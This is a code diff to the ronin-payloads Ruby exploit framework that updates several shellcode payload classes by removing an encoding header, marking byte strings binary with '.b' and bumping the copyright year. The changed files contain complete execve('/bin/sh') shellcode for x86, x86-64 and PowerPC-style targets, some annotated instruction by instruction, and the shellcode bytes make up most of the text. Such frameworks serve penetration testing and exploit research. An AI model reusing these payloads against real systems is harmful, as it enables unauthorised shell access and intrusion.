+ "\x7f\xc0\x2e\x70".b + # srawi r0,r30,5
66
+ "\x44\xde\xad\xf2".b + # .long 0x44deadf2
67
+ "/bin/shZ".b # the last byte becomes NULL
69
68
  end
70
69
 
71
70
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -126,7 +125,7 @@ module Ronin
126
125
  "\x3b\xc0\x01\x60" \
127
126
  "\x7f\xc0\x2e\x70" \
128
127
  "\x44\xde\xad\xf2" \
129
- "/bin/shZ"
128
+ "/bin/shZ".b
130
129
  end
131
130
 
132
131
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -99,7 +98,7 @@ module Ronin
99
98
  "\x68\x2f\x62\x69\x6e" \
100
99
  "\x89\xe3" \
101
100
  "\xb0\x0b" \
102
- "\xcd\x80"
101
+ "\xcd\x80".b
103
102
  end
104
103
 
105
104
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -55,7 +54,7 @@ module Ronin
55
54
  def build
56
55
  @payload = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f" \
57
56
  "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd" \
58
- "\x80"
57
+ "\x80".b
59
58
  end
60
59
 
61
60
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -63,7 +62,7 @@ module Ronin
63
62
  "\xc0\x52\x68\x6e\x2f\x73\x68\x68" \
64
63
  "\x2f\x2f\x62\x69\x89\xe3\x52\x53" \
65
64
  "\x89\xe1\x52\x89\xe2\xb0\x0b\xcd" \
66
- "\x80"
65
+ "\x80".b
67
66
  end
68
67
 
69
68
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -60,7 +59,7 @@ module Ronin
60
59
  "\x05\xfe\xc0\x89\xc6\xb0\x21\x0f\x05\xfe\xc0\x89\xc6\xb0\x21" \
61
60
  "\x0f\x05\x48\x31\xd2\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68" \
62
61
  "\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89" \
63
- "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05"
62
+ "\xe6\xb0\x3b\x0f\x05\x50\x5f\xb0\x3c\x0f\x05".b
64
63
  end
65
64
 
66
65
  end
@@ -1,10 +1,9 @@
1
- # encoding: ASCII-8BIT
2
1
  # frozen_string_literal: true
3
2
  #
4
3
  # ronin-payloads - A Ruby micro-framework for writing and running exploit
5
4
  # payloads.
6
5
  #
7
- # Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
6
+ # Copyright (c) 2007-2024 Hal Brodigan (postmodern.mod3 at gmail.com)
8
7
  #
9
8
  # ronin-payloads is free software: you can redistribute it and/or modify
10
9
  # it under the terms of the GNU Lesser General Public License as published
@@ -52,16 +51,16 @@ module Ronin
52
51
  # Builds the shellcode.
53
52
  #
54
53
  def build
55
- @payload = "\x48\x31\xd2" + # xor %rdx, %rdx
56
- "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68" + # mov $0x68732f6e69622f2f, %rbx
57
- "\x48\xc1\xeb\x08" + # shr $0x8, %rbx
58
- "\x53" + # push %rbx
59
- "\x48\x89\xe7" + # mov %rsp, %rdi
60
- "\x50" + # push %rax
61
- "\x57" + # push %rdi
62
- "\x48\x89\xe6" + # mov %rsp, %rsi
63
- "\xb0\x3b" + # mov $0x3b, %al
64
- "\x0f\x05" # syscall
54
+ @payload = "\x48\x31\xd2".b + # xor %rdx, %rdx
55
+ "\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68".b + # mov $0x68732f6e69622f2f, %rbx
56
+ "\x48\xc1\xeb\x08".b + # shr $0x8, %rbx
57
+ "\x53".b + # push %rbx
58
+ "\x48\x89\xe7".b + # mov %rsp, %rdi
59
+ "\x50".b + # push %rax
60
+ "\x57".b + # push %rdi
61
+ "\x48\x89\xe6".b + # mov %rsp, %rsi
62
+ "\xb0\x3b".b + # mov $0x3b, %al
63
+ "\x0f\x05".b # syscall
65
64
  end
66
65
 
67
66
  end